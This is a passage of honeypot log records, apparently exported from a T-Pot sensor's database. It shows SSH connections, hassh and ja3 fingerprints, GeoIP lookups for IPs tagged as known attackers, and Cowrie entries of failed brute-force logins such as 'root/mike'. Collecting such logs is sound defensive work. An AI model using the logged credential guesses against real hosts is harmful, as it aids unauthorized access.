N.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31215	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:43:31.472954+03	2021-09-20 14:45:04.199142+03	{"_id": "sgYEA3wBvYTbRNuEs0J4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:43:31.257373+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2104087095274845, "payload": "AAADzAYUHprq1O3zgGlAwt4eKHtk3gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51146, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:43:31.472954Z", "@timestamp": "2021-09-20T11:43:31.472Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............i@...({d....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31222	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:43:20.67925+03	2021-09-20 14:45:04.209142+03	{"_id": "cQYEA3wBvYTbRNuEikKn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [test/Pa$$w0rd] failed", "session": "bfbe28edbd32", "@version": "1", "password": "Pa$$w0rd", "username": "test", "timestamp": "2021-09-20T11:43:20.679250Z", "@timestamp": "2021-09-20T11:43:20.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31216	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:31.369332+03	2021-09-20 14:45:04.201142+03	{"_id": "swYEA3wBvYTbRNuEtEJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51146, "timestamp": "2021-09-20T11:43:31.369332", "@timestamp": "2021-09-20T11:43:31.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31217	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:43:34.473879+03	2021-09-20 14:45:04.202142+03	{"_id": "vgYEA3wBvYTbRNuEvUJ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.253:35060 (192.168.176.2:22) [session: 3238ff6461d8]", "session": "3238ff6461d8", "@version": "1", "protocol": "ssh", "src_port": 35060, "dest_port": 22, "timestamp": "2021-09-20T11:43:34.473879Z", "@timestamp": "2021-09-20T11:43:34.473Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
31218	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:43:34.534631+03	2021-09-20 14:45:04.203142+03	{"_id": "vwYEA3wBvYTbRNuEvUJ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "arcfour", "3des-cbc"], "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: fb9ea37f5a326a02ad94bd4e431b024c", "session": "3238ff6461d8", "@version": "1", "timestamp": "2021-09-20T11:43:34.534631Z", "@timestamp": "2021-09-20T11:43:34.534Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
31219	5.188.62.253	109.199.241.180	Suricata	2021-09-20 14:43:34.533804+03	2021-09-20 14:45:04.205142+03	{"_id": "wQYEA3wBvYTbRNuEv0Ix", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.253", "dest_ip": "192.168.20.116", "flow_id": 777517726587026, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35060, "dest_port": 22, "timestamp": "2021-09-20T11:43:34.533804Z", "@timestamp": "2021-09-20T11:43:34.533Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
31220	5.188.62.253	109.199.241.180	Fatt	2021-09-20 14:43:34.533895+03	2021-09-20 14:45:04.206142+03	{"_id": "wgYEA3wBvYTbRNuEwEIk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.253", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 35060, "dest_port": 22, "timestamp": "2021-09-20T11:43:34.533895", "@timestamp": "2021-09-20T11:43:34.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31223	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:43:22.374545+03	2021-09-20 14:45:04.211142+03	{"_id": "fAYEA3wBvYTbRNuEkEJJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 1576355873046932, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49760, "dest_port": 22, "timestamp": "2021-09-20T11:43:22.374545Z", "@timestamp": "2021-09-20T11:43:22.374Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31224	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:22.275908+03	2021-09-20 14:45:04.212142+03	{"_id": "fgYEA3wBvYTbRNuEkUI8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49760, "timestamp": "2021-09-20T11:43:22.275908", "@timestamp": "2021-09-20T11:43:22.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31225	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:43:22.715621+03	2021-09-20 14:45:04.213142+03	{"_id": "gAYEA3wBvYTbRNuEkkJ3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [root/mike] failed", "session": "de5d8481886a", "@version": "1", "password": "mike", "username": "root", "timestamp": "2021-09-20T11:43:22.715621Z", "@timestamp": "2021-09-20T11:43:22.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31226	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:43:23.774847+03	2021-09-20 14:45:04.214142+03	{"_id": "hAYEA3wBvYTbRNuElkJg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "de5d8481886a", "@version": "1", "duration": 1.5002481937408447, "timestamp": "2021-09-20T11:43:23.774847Z", "@timestamp": "2021-09-20T11:43:23.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31227	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:43:24.467318+03	2021-09-20 14:45:04.215142+03	{"_id": "hgYEA3wBvYTbRNuEmEIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6226, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2130060909486454, "@version": "1", "in_iface": "enp5s0", "src_port": 55043, "dest_port": 53, "timestamp": "2021-09-20T11:43:24.467318Z", "@timestamp": "2021-09-20T11:43:24.467Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31228	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:24.517751+03	2021-09-20 14:45:04.217142+03	{"_id": "iQYEA3wBvYTbRNuEmUIO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35578, "dest_port": 443, "timestamp": "2021-09-20T11:43:24.517751", "@timestamp": "2021-09-20T11:43:24.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31229	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:43:26.27622+03	2021-09-20 14:45:04.218141+03	{"_id": "ngYEA3wBvYTbRNuEnkIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3b1e6ce84865", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:43:26.276220Z", "@timestamp": "2021-09-20T11:43:26.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
31230	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:43:26.506323+03	2021-09-20 14:45:04.219142+03	{"_id": "oQYEA3wBvYTbRNuEnkIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", 